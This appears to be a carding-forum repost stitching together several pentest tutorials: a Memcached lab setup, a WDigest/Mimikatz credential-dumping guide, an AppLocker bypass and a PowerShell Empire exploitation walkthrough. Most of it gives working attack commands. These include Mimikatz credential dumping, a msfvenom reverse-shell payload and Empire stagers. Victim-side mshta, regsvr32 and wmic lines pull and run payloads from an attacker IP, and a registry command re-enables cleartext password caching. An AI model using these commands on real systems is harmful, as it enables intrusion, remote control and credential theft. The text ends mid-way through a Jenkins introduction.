doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root /tmp/id_rsa.pub
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-aKPMDPHhi_0/XGfPvOQ7AZI/AAAAAAAAcpE/pjhSuaNK8m0qRMzo8z3oAA8soTd8VeiIACLcBGAs/s1600/9.png?w=687&ssl=1)
After signing the RSA keys, we use the RSA key to login through SSH as the root user. After logging in we find a file called “root.txt”. We take a look inside the content of the file and find the final flag.
ssh -i /tmp/id_rsa root@localhost
1
ssh -i /tmp/id_rsa root@localhost
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-_qIKG6iKVKk/XGfPtD7F10I/AAAAAAAAcog/sDdNpWt_tCM86RyNrBgX08KRrRHBr_ykQCLcBGAs/s1600/10.png?w=687&ssl=1)
In this article, we are going to learn about pen-testing in Memcached lab setup in Ubuntu 18.04. Memcached server is used by corporations in order to increase the speed of their network as it helps to store frequently used data. This helps to take the load of the hardware and decrease the time taken.
Table of Contents- Introduction to Memcached.
- Memcached Installation.
- Memcached Configuration.
Introduction to Memcached
Memcached is a distributed memory object caching system. It’s an open source and without any cost tool. It is used to speed up web applications by using a database from the cache memory. It is an in-memory key-value store for little bits of self-assertive information (strings, objects) that is extracted from database calls, API calls, or page rendering. Memcached is basic however capable of advancing speed arrangement, ease of advancement, and understands numerous issues confronting expansive information caches. Its API is accessible for most prevalent languages.
Memcached Installation
To install, boot up your Ubuntu machine and open the terminal.
Note: Apache2 should be installed before installing Memcached. You can easily install Apache2 by just typing in a simple command.
apt install apache2
1
apt install apache2
Now that we are all done, let’s setup Memcached by typing the commands shown below.
apt install memcached
1
apt install memcached
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-oJZ1Rz8gEP0/XGeiPxEJAfI/AAAAAAAAcnU/ElUpG22212g1TVuXRxAoJP4x1syHGlDyQCLcBGAs/s1600/1.png?w=687&ssl=1)
After installing Memcached add ppa:ondrej/php PPA in your Ubuntu system’s repository to
download and install the latest version of PHP available. Follow the commands as shown below.
add-apt-repository ppa:ondrej/php
1
add-apt-repository ppa:ondrej/php
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-k7Uyox7UPyQ/XGeiRSdWrBI/AAAAAAAAcno/y1sjDzWrobIzcwby39SAxHoynDMYLzFCQCLcBGAs/s1600/4.png?w=687&ssl=1)
After adding the repository, update the system by typing in the following command.
apt update
1
apt update
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-6KLghX3GZIg/XGeiReOg1pI/AAAAAAAAcnk/QSruewGstnwdhuA3G_Zo8NPyW9XF3cenwCLcBGAs/s1600/5.png?w=687&ssl=1)
Now, install PHP by executing the command shown below :
apt install –y php php-dev php-pear libapache2-mod-php
1
apt install –y php php-dev php-pear libapache2-mod-php
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-KFR47U7YJkw/XGeiR6swVII/AAAAAAAAcns/aJWtq-SbOuQVCSNhc7DdsKkxA0zew0YfACLcBGAs/s1600/6.png?w=687&ssl=1)
Now that PHP has been installed successfully in our system, we will go ahead and install the PHP Memcached module by executing the below command:
apt install -y php-memcached
1
apt install -y php-memcached
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Zt64xvdVc9c/XGeiR_y9eDI/AAAAAAAAcnw/YfWZ-I1zlyUXn1_-uAVro0HtwK0zqJn4wCLcBGAs/s1600/7.png?w=687&ssl=1)
Once the installation is complete, restart the Apache2 service.
service apache2 restart
1
service apache2 restart
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-EVwHehFW7Gw/XGeiSCosQCI/AAAAAAAAcn0/Ot1kSKI-mVwEP4b8CUYf3Oye948ynvlsgCLcBGAs/s1600/8.png?w=687&ssl=1)
Now check whether the PHP extension is working fine or not by creating an info.php by using the code mentioned below with nano or any text editor you like.
<?php
phpinfo();
?>
1
2
3
<?php
phpinfo();
?>
![[Image: 9.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-198gkbQv788/XGeiSieX2rI/AAAAAAAAcn4/uH1TLQfJgg0z4tefxe95En0115BX6c6UgCLcBGAs/s1600/9.1.png?w=687&ssl=1)
Now save the file in /var/www/html
Once the file is saved, access it from your web browser by typing in the following URL.
localhost/info.php
1
localhost/info.php
You should see the results as shown in the image below.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-TeLM2Dpy23w/XGeiSgH8VgI/AAAAAAAAcn8/doJk9Is1iPgZIkzgHLRU6HM-b_ASTPDHACLcBGAs/s1600/9.png?w=687&ssl=1)
Memcached Configuration
Now, here we are going to configure the Memcached Server. To do so, we have to edit its configuration file. You will find this configuration file through /etc/memcached.conf path. Open the memcached.conf file using nano or any other text editor. The commands that are shown below will be given and activated by default. The purpose of this mentioning is to let you know that where you can find it; along with why and how to make changes to it., if necessary. Following are the said commands which are important for low-level Memcached Server configuration:
-m 64
Here,
–m: specifies the maximum memory limit which is used by Memcached daemon. By default, this limit is 64 MB
-p 11211
Here,
–p: specifies the port number. By default, it’s 11211.
-u memcache
Here,
–u starts the daemon tool as root.
After this, uncomment “-l 127.0.0.1” by simply adding # as shown in the image, as it will not be so by default. By uncommenting, it will stop binding the IP address of Memcached listener to the loopback IP. Hence, traffic can come from any IP over the internet.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-g_hv6CgEXzA/XGeiPxW4l7I/AAAAAAAAcnY/W5ApcFk4z5gycJpYF4AzkxFtXd7kef8BgCLcBGAs/s1600/10.png?w=687&ssl=1)
Now once you saved the configuration file after making the changes, restart the service by using the following command :
service memcached restart
1
service memcached restart
Then use the following command to confirm whether Memcached configurations are working are not :
ss -tnl
1
ss -tnl
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EsykCCZJ65M/XGeiP0xLzkI/AAAAAAAAcnQ/3d9CHuqBueI5qAQo-OiDCNjDjAEVe8pWQCLcBGAs/s1600/11.png?w=687&ssl=1)
Once you are done with the above commands, connect Memcached through telnet and do a version check by typing in “version” command:
telnet localhost 11211
version
1
2
telnet localhost 11211
version
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SRTCEHsrbNo/XGeiQleGyaI/AAAAAAAAcnc/FD4NYATeddECNhyA7m_YsC66BdDVPwAowCLcBGAs/s1600/12.png?w=687&ssl=1)
Now, you can use nmap to check if the Memcached service is running on the server.
nmap -sV -p- 192.168.1.32
1
nmap -sV -p- 192.168.1.32
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-VzFjT7rPMus/XGeiQ23_yqI/AAAAAAAAcng/BDKELLAT2k03JqqryVu-Q0jviatpFhcyACLcBGAs/s1600/13.png?w=687&ssl=1)
Conclusion
To conclude, we can say that Memcached is a distributed memory caching system. It uses expiration timeouts i.e. if the server has no memory left, it will evict items to replace them with the new ones. The items it chooses to replace are the ones which have not been requested for a long period of time. And so, in the above article, we have provided a basic guide to set up the Memcached penetration testing lab.
|
|
|
|
| [Guide] How to Red Team/Blue Team Practice on Wdigest |
|
Posted by: NINZA - 05-14-2020, 11:24 AM - Forum: Carders Home
- No Replies
|
 |
In this article, we will show you the methods of protecting your system against MIMIKATZ that fetches password in clear text from wdigest. As you know the Pen-tester and the red team uses mimikatz for testing password capacity. For the complete information on how mimikatz works visit this link:
Table of Contents - Introduction
- Demonstration on Windows 7
- Disable WDigest (defending against mimikatz)
- Demonstration on Windows 10
- Enable WDigest in Windows 10
- Enable WDigest via the registry key
Introduction of WDigest
WDigest.dll was introduced in the Windows XP operating system. in Windows XP, Microsoft added support for a protocol known as WDigest. The WDigest protocol is used for clients to send clear text credentials to Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) applications based on RFC 2617 and 2831. When the WDigest authentication protocol is enabled, clear text password is stored, where it can be at risk of theft.
System Impacted
The problem with WDigest is that it stores passwords in memory in clear-text and it can be extracted by using MIMIKATZ. The following OS’s are impacted: Windows 7, Windows 8, Windows 8.1, Windows Server 2008, Windows Server 2008R2, and Windows Server 2012.
Demonstration on windows 7
An attacker with administrator privileges can steal credentials from damaged system memory. Memory credentials are stored in plain text and in various hash formats. First, we will demonstrate how we can see the password of Windows 7 using MIMIKATZ tool as shown in the image below as it has shown the password in the clear text. And for this, we will following commands in MIMIKATZ tool
privilege::debug
sekurlsa::wdigest
1
2
privilege::debug
sekurlsa::wdigest
![[Image: 1.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-sE4_yzI9VUc/XGWdktezWrI/AAAAAAAAcmI/cuPEb408p28tU2W53b6-6IGt_sTU9aRXwCLcBGAs/s1600/1.png?w=687)
Now as you can observe that is has shown you the password in clear text. We can also do this by taking the meterpreter of the target system and then using MIMIKATZ in Kali. Here you will see that it has also shown us the password of the compromised system.
![[Image: 2.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Gnbea-gtBj8/XGWdl9ojlEI/AAAAAAAAcmY/v36cIafhSYYg7r4kwpGG-jx5ZrQME2_EACLcBGAs/s1600/2.png?w=687)
Disable WDigest (Defending against Mimikatz)
Now as we know that it is a security threat; so now we will get to know how we can remove this from our system and for this a registry change is required to make to hide our password. For this, we will first open the regedit and then go to WDigest option using the following path
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-FNkm4UO6yhI/XGWdmem99MI/AAAAAAAAcmc/hnX1zBFgabkxP2fTe5xytUp4nrAUOTCLwCLcBGAs/s1600/3.png?w=687)
Here you need to open the security packages and you will see WDigest with the other options as shown in the image below
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-DcB6Cge9EwA/XGWdmRykRxI/AAAAAAAAcmg/KMiQZS-KK4gCNp8hC5vTqULYbRX_Md0mgCLcBGAs/s1600/4.png?w=687)
Great! You have found that. Now simply you need to remove Wdigest from here so that nobody can see the password using MIMIKATZ tool.
![[Image: 5.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-4N4RAnlsW8g/XGWdmvwrBRI/AAAAAAAAcmk/MAJ4JtlHQjweziHxhmDfIX4wpraxDwA5ACLcBGAs/s1600/5.png?w=687)
Now after making these changes, we need to update the group policy and reboot the system. After doing so we will again use MIMIKATZ tool to see the change now. So we will use the same commands which we have used earlier to get the password and this time it will show us the password NULL as shown in the image.
![[Image: 6.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-_2llDO6Ck9g/XGWdnc6lMdI/AAAAAAAAcmo/x-rm7BuwdRMSotFqEATcgIudTNhlzNAbACLcBGAs/s1600/6.png?w=687)
Great! We have successfully hidden the password. Now, if somebody has taken the meterpreter of the Windows 7 and if the attacker tries this in kali using MIMIKATZ tool there. Even then the attacker is not able to get the password of the compromised system as shown in the image below
![[Image: 7.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-TjjPP_hGP_w/XGWdns6MO7I/AAAAAAAAcms/io9sXWaHM9kzc7tkkM9iXB5tZ3NMI-YhgCLcBGAs/s1600/7.png?w=687)
Demonstration on Windows 10
In the same way, we will try this method in Windows 10 and as we know that in Windows 10 it is disabled by default. We can verify this by using the MIMIKATZ tool there.
![[Image: 8.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-XDBLlqaYu1Q/XGWdoIRBavI/AAAAAAAAcmw/lpIoy_VJj2wGzk7urHNXL3qthXgjGh5MQCLcBGAs/s1600/8.png?w=687)
Enable WDigest in Windows 10
Yes; as we have verified that the Wdigest option is disabled by default. Now we will learn how we can enable Wdigest in Windows 10. For this first, we need to take meterpreter of the target system and then we need to take the admin access of the system and then we need to use the exploit to enable Wdigest in the target system with the help of the following module.
On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider’s Registry key. Any subsequent logins will allow mimikatz to recover the plain text passwords from the system’s memory.
use post/windows/manage/wdigest_caching
msf post(windows/manage/wdigest_caching) > set session 2
msf post(windows/manage/wdigest_caching) > exploit
1
2
3
use post/windows/manage/wdigest_caching
msf post(windows/manage/wdigest_caching) > set session 2
msf post(windows/manage/wdigest_caching) > exploit
![[Image: 9.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-sNgeMG036AM/XGWdoN2cy5I/AAAAAAAAcm0/qfT7CObdpfgGMlFLa0Pmm07j0fCkZyQEQCLcBGAs/s1600/9.png?w=687)
After making the changes we will check if the Wdigest option is enabled. For this, we will again use MIMIKATZ tool here and we will observe that we have found the password of the victim’s P.C
![[Image: 10.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-iqRGO86-DK0/XGWdk5wY1RI/AAAAAAAAcmM/YQf5S-g_6hwangDPRYEAi53v7Vw_YTAywCLcBGAs/s1600/10.png?w=687)
We can do this too by taking the meterpreter of the system using MIMIKATZ tool there.
![[Image: 11.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-b7IJPjyLqYs/XGWdkjTi3bI/AAAAAAAAcmE/FWAmOKmTdRQvZLdgY9TTJtbZEx-NPj8pwCLcBGAs/s1600/11.png?w=687)
Enable Wdigest via a registry key
There is one more way to see the password. The second method to enable WDigest is by taking the shell of the compromised system. Now run the following command to enable the wdigest.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
![[Image: 12.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-_jS_AiN6LAQ/XGWdlehqHDI/AAAAAAAAcmQ/0wtT6J2ecVUfhxrf8JXpJFbZlREs6KTjQCLcBGAs/s1600/12.png?w=687)
After you get the shell; you need to run Mimikatz tool here and we will use the same commands to see the password. And you will observe that we have got the password.
![[Image: 13.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-JohcUJItv8Y/XGWdlmyx1II/AAAAAAAAcmU/IrqIRCzY2owg4aBTcGRYA03VlWV0DWzPgCLcBGAs/s1600/13.png?w=687)
Excellent we have done this with this method also. And we know that how to see the password in Windows 10 and how to enable and disable that.
Finding loopholes is very important when you are the part of a pen-testing team. Because such loopholes are the source of hacking as the attacker will actively look for them. So in order to patch such loopholes, you must know how to and where to find them. One of such loopholes is something known as weak folders in windows.
To secure windows, there are multiple security policies provided by Microsoft. One of such policies does not allow an exe file to execute which means a malicious exe file that can be sent by an attacker will not work in the targeted PC. To apply such policy, you need to go into the local security policy of Windows > Applocker > Executable Rules > and then apply the policy. As you can see in the image below the default rule has been set.
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-RbKbg59FJlo/XFpaOIYB99I/AAAAAAAAclM/UIRvXBGUSdIQJjcLyAnLer4TF6DwP0ZnACLcBGAs/s1600/1.png?w=687)
Now, if you try to run any given .exe file, it will not run. Here, I have tried to execute putty.exe file but as you can see in the image below it does not run.
![[Image: 2.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-oNIU0G3bzNg/XFpaOLtWcVI/AAAAAAAAclU/MSi3-rQfWfEFvs2pOFHZe1sijG4IxkSxACLcBGAs/s1600/2.png?w=687)
The loophole to this policy is that there still few folders, which despite such activated security policies, has the write and read permissions and such files will execute from these folders. If I run the same exe i.e. putty.exe in the C drive > windows > tasks folder then it will be executed as shown in the image below.
![[Image: 3.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-uVIKvWbglwM/XFpaONjFD-I/AAAAAAAAclQ/HSSKiqO94iMPIJH-ygbkG4LLCTjbm70HgCLcBGAs/s1600/3.png?w=687)
To check which folders have read and write permission, you can use the following command:
accesschk64.exe "Users" c:/Windows -w
1
accesschk64.exe "Users" c:/Windows -w
Using this command, you can see in the following image that everywhere the access is denied except for the temp, task and tracing folders.
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-jAGXlplQqq4/XFpaPNJTTNI/AAAAAAAAclY/VBCk2bUKYHUEQJI5gxEKVqnpuiq4GO2XACLcBGAs/s1600/4.png?w=687)
Now let’s experiment with a malware which we will create using msfvenom for the targeted PC with the following command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
![[Image: 5.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-_y-aazykwgk/XFpaPG1fv3I/AAAAAAAAclc/OXGie4GKzwUMnL88RKbf9keLSBsROInowCLcBGAs/s1600/5.png?w=687)
When you execute the above malware in the victims’ PC, it will not run due to the applicable security policies.
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-dM69InXPrCU/XFpaPlEAPJI/AAAAAAAAclg/-ss9UszoAW4nx2EI0Tnfl5LSZSpnuVOJACLcBGAs/s1600/6.png?w=687)
But, if using the loophole, you execute the file from the tasks folder as shown in the image below:
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-w-i9UMuIH_Q/XFpaP0mEAcI/AAAAAAAAclk/PYbgNVYupEoB1EOaB_xNsCvMp6sfIT9bACLcBGAs/s1600/7.png?w=687)
Then, you will have your meterpreter session as desired.
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-LjCCorKCXvA/XFpaQFNcoAI/AAAAAAAAclo/nEtJSy0tcqUD8Hu5kc_xXSOu7QpI_X7AgCLcBGAs/s1600/8.png?w=687)
So, while providing security or attacking you must know everything about the targeted machine so that you can use their security against them or provide even better security by patching such loopholes.
This is our second post in the article series ‘PowerShell Empire’. In this article, we will cover all the exploits that lead to windows exploitation with the empire. To read our first post on empire series, which gives a basic guide to navigate your way through empire, click [To see content please register here] .
Table of Content:- Exploiting through HTA
- Exploiting through MSBuild.exe
- Exploiting through regsvr32
- XSL exploit
- Exploiting through a visual basic script
- BAT exploit
- Multi_launcher exploit
Exploiting through HTA
This attack helps us to exploit windows through .hta. When .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click [To see content please register here] .
To run type
./empire
1
./empire
According to the workflow, firstly, we have to create a listener to listen to our local machine. Type the following command:
listeners
1
listeners
After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type :
uselistener http
set Host [To see content please register here]
execute
1
2
3
uselistener http
set Host [To see content please register here]
execute
Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type :
usestager windows/hta
set Listener http
set OutFile /root/1.hta
execute
1
2
3
4
usestager windows/hta
set Listener http
set OutFile /root/1.hta
execute
![[Image: 1.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-ttgWf35VDIU/XFhtAtB0ajI/AAAAAAAAcjU/E8B8CyR588c5VByXF4kWAlSHwiRsTVyPwCEwYBhgL/s1600/1.png?w=687)
Running the above commands will create a .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file:
python -m SimpleHTTPServer 8080
1
python -m SimpleHTTPServer 8080
![[Image: 2.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-CXxYCBFeWDQ/XFhtDRcCqmI/AAAAAAAAckA/P-Shf7uDI3wnAOdAHFi-r7Vrrs8mVFCewCEwYBhgL/s1600/2.png?w=687)
As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file:
mshta.exe [To see content please register here]
1
mshta.exe [To see content please register here]
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-_7JOtpNoUCA/XFhtEBMoUdI/AAAAAAAAckM/-oF4Zpo3DYI-paNszlPuYe1aLCK0j669wCEwYBhgL/s1600/3.png?w=687)
The moment above command is executed you will have your session, to access the session type :
interact XDGM6HLE
sysinfo
1
2
interact XDGM6HLE
sysinfo
![[Image: 4.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Vqbyyczf74s/XFhtEtvNemI/AAAAAAAAckQ/m-QYMX-QK_saHkNfiL2lOSXcQMFs7sWMACEwYBhgL/s1600/4.png?w=687)
Exploiting through MSBuild.exe
Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using an XML file. To know in details about this attack please click [To see content please register here] . And to use this exploit type:
listeners
uselistener http
set Host [To see content please register here]
execute
1
2
3
4
listeners
uselistener http
set Host [To see content please register here]
execute
This creates a listener, type ‘back’ to go in listener interface to create an exploit. For this, type :
usestager windows/launcher_xml
set Listener http
execute
1
2
3
usestager windows/launcher_xml
set Listener http
execute
![[Image: 5.1.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-bdszT-Wal5Q/XFhtE1ujg0I/AAAAAAAAckU/7DofnGuY1gYDqKKVCNHkyUmE5x_gvWVsQCEwYBhgL/s1600/5.1.png?w=687)
Now, an xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
1
2
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
![[Image: 5.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-QgsdsE2dbXs/XFhtE-YrBQI/AAAAAAAAckY/9N_YbDKs52oLx9exQY7Bhg5wC-qxG1V0wCEwYBhgL/s1600/5.png?w=687)
So, this way you will have your session, to access the said session type :
interact A8H14C7L
sysinfo
1
2
interact A8H14C7L
sysinfo
![[Image: 6.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-5OoftvoYMDQ/XFhtFblAqQI/AAAAAAAAckc/qZPjPUZqCO0-IfAYQmpM5rx6BmF_jPErwCEwYBhgL/s1600/6.png?w=687)
Exploiting through regsvr32
Our next method is exploiting through regsvr32. To know in detail about this attack, do click [To see content please register here] . As always, we have to create a listener first to listen to our local machine. Type the following command:
listeners
uselistener http
set Host [To see content please register here]
execute
1
2
3
4
listeners
uselistener http
set Host [To see content please register here]
execute
Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type:
usestager windows/launcher_sct
set Listener http
execute
1
2
3
usestager windows/launcher_sct
set Listener http
execute
![[Image: 7.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-QYx-9v5dnH0/XFhtFdt52vI/AAAAAAAAckg/3r3lhFM3Egwe8dwB_gXQFsoVZgJYYQKYACEwYBhgL/s1600/7.png?w=687)
This will create a .sct file in /tmp. Share this file to victim’s PC using the python server and then run this file in a run window of victims’ PC by typing the following command:
regsvr32.exe /u /n /s /i:http//192.168.1.107:8080/launcher.sct scrobj.dll
1
regsvr32.exe /u /n /s /i:http//192.168.1.107:8080/launcher.sct scrobj.dll
![[Image: 8.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-cWBJcuNkDbY/XFhtF5BtFsI/AAAAAAAAckk/heG4oQFqnyc-QBst90yLV27na7LD4u49wCEwYBhgL/s1600/8.png?w=687)
Thus, you will have an active session. To access the session type:
interact <session name>
sysinfo
1
2
interact <session name>
sysinfo
![[Image: 9.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-q93_nOhr8Tc/XFhtGHXXOJI/AAAAAAAAcko/WhuQypbgUw0qYkceLFaZMYBq8oP2yaXNgCEwYBhgL/s1600/9.png?w=687)
Exploiting through XSL
XSL is a language will help you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file. For this method lets activate our listener first by typing :
listeners
uselistener http
set Host [To see content please register here]
execute
1
2
3
4
listeners
uselistener http
set Host [To see content please register here]
execute
As the listener is up and running, create your exploit :
usestager windows/launcher_xsl
set Listener http
execute
1
2
3
usestager windows/launcher_xsl
set Listener http
execute
![[Image: 10.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-dJmRILsulvU/XFhtA-rGNbI/AAAAAAAAcjc/d9aJWQbMjpAw2izRN9jRKzjIzGisDcX6gCEwYBhgL/s1600/10.png?w=687)
This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below :
cd /tmp
python -m SimpleHTTPServer 8080
1
2
cd /tmp
python -m SimpleHTTPServer 8080
![[Image: 11.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-FSXxeezF3rY/XFhtA80ZBYI/AAAAAAAAcjY/a73_TBsm2espvvf_-hzgT7ZP81Z_FKhtQCEwYBhgL/s1600/11.png?w=687)
Now execute the following command in the command prompt of your victim:
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
1
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
![[Image: 12.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-W-ousyDWgig/XFhtBIMTwCI/AAAAAAAAcjg/pl1JAnLSRDkTQ6PWNckopnLR8VENoYxTQCEwYBhgL/s1600/12.png?w=687)
Running above will give a session, to access the session type :
interact <session name>
sysinfo
1
2
interact <session name>
sysinfo
![[Image: 13.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-ksZL_anTK_I/XFhtBhV725I/AAAAAAAAcjk/BMSYkEMk2Vgd_2iGTQN0IAwNQgpPNFwCgCEwYBhgL/s1600/13.png?w=687)
Exploiting through Visual Basic script
Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first.
listeners
uselistener http
set Host [To see content please register here]
execute
1
2
3
4
listeners
uselistener http
set Host [To see content please register here]
execute
Now, to create our malicious .vbs file type :
usestager windows/launcher_vbs
set Listener http
execute
1
2
3
usestager windows/launcher_vbs
set Listener http
execute
![[Image: 14.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-4ymFBLP833Q/XFhtBj8DkOI/AAAAAAAAcjo/fzYLDhzcMes7M1JsPp3xsHjXYbfs-7qDwCEwYBhgL/s1600/14.png?w=687)
Next step is to start the python server by typing:
python -m SimpleHTTPServer 8080
1
python -m SimpleHTTPServer 8080
![[Image: 15.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-cKWvX9eH04s/XFhtCPTltVI/AAAAAAAAcjs/YIfF1XNzd80_RthkDnpsEuiODSch2qM0gCEwYBhgL/s1600/15.png?w=687)
Once the .vbs file is shared through the python server and executed in the victim’s PC you will have your session and just like before to access the session type :
interact <session name>
sysinfo
1
2
interact <session name>
sysinfo
![[Image: 16.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-beXdVl8FJO4/XFhtCRfCv4I/AAAAAAAAcjw/j_ApfbR3rawPuKBQeVSwUTDA7HRxPoeXACEwYBhgL/s1600/16.png?w=687)
Exploiting through a bat file
In this method, we will exploit through a .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type:
listeners
uselistener http
set Host [To see content please register here]
execute
back
1
2
3
4
5
listeners
uselistener http
set Host [To see content please register here]
execute
back
The above commands will create a listener for you. Let’s create our .bat file using the following command :
usestager windows/launcher_bat
use Listener http
set OutFile /root/1.bat
execute
1
2
3
4
usestager windows/launcher_bat
use Listener http
set OutFile /root/1.bat
execute
![[Image: 17.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-PuBDS87gDVY/XFhtCsf9HoI/AAAAAAAAcj0/6K75-pqf8cEVXEDEpA-Hz_YvExwjQRPmQCEwYBhgL/s1600/17.png?w=687)
As shown, the above commands will create a .bat file. Start up the python server by using the following command to allow you to share your .bat file on your victim’s pc.
python -m SimpleHTTPServer 8080
1
python -m SimpleHTTPServer 8080
![[Image: 18.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-DmFd3A2BrF0/XFhtC54mzQI/AAAAAAAAcj4/-dSWenZ1s3knJ4r4zQnpi6rp-JZ-pjEFACEwYBhgL/s1600/18.png?w=687)
Once you run the .bat file, a session will activate. To access the session type:
interact <session name>
sysinfo
1
2
interact <session name>
sysinfo
![[Image: 19.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-9tiYB0qkGNA/XFhtDH3cqFI/AAAAAAAAcj8/QLcUlMGop8UYpKYfCL8ECx-FgcO0_QaxwCEwYBhgL/s1600/19.png?w=687)
Multi_launcher
This is our last method of this post. It can be used on various platforms such as Windows, Linux, etc. again, even for this method, create a listener:
listeners
uselistener http
set Host [To see content please register here]
execute
1
2
3
4
listeners
uselistener http
set Host [To see content please register here]
execute
Then type following commands for creating your malicious file:
usestager multi/launcher
set Listener http
execute
1
2
3
usestager multi/launcher
set Listener http
execute
![[Image: 20.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-GkRV66Vub-4/XFhtDnJRV9I/AAAAAAAAckE/OkZAjcW4-6oiwsJR4kH1X_EzQ0rEhUkSwCEwYBhgL/s1600/20.png?w=687)
Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of the victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type:
interact <session name>
sysinfo
1
2
interact <session name>
sysinfo
![[Image: 21.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-hdKjczGkwjg/XFhtDxLpZHI/AAAAAAAAckI/XBJm5npu-ycurrUxCV7X813uo0jygnxWACEwYBhgL/s1600/21.png?w=687)
Conclusion
The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pen-testing skills after Metasploit. Enjoy!
Hey! You all know that we have performed so many CTF challenges and we got to know about Jenkins there. So let’s know about Jenkins better. For this, we are here with the new challenges which you will face while performing CTF challenges. To do it in an easier way we are here with a new article. So let’s do it.
Table of Content
Introduction of Jenkins
Lab setup- Install Java
- Import the GPG keys
- Add the Jenkins repository
- Install Jenkins
- Setup Jenkins
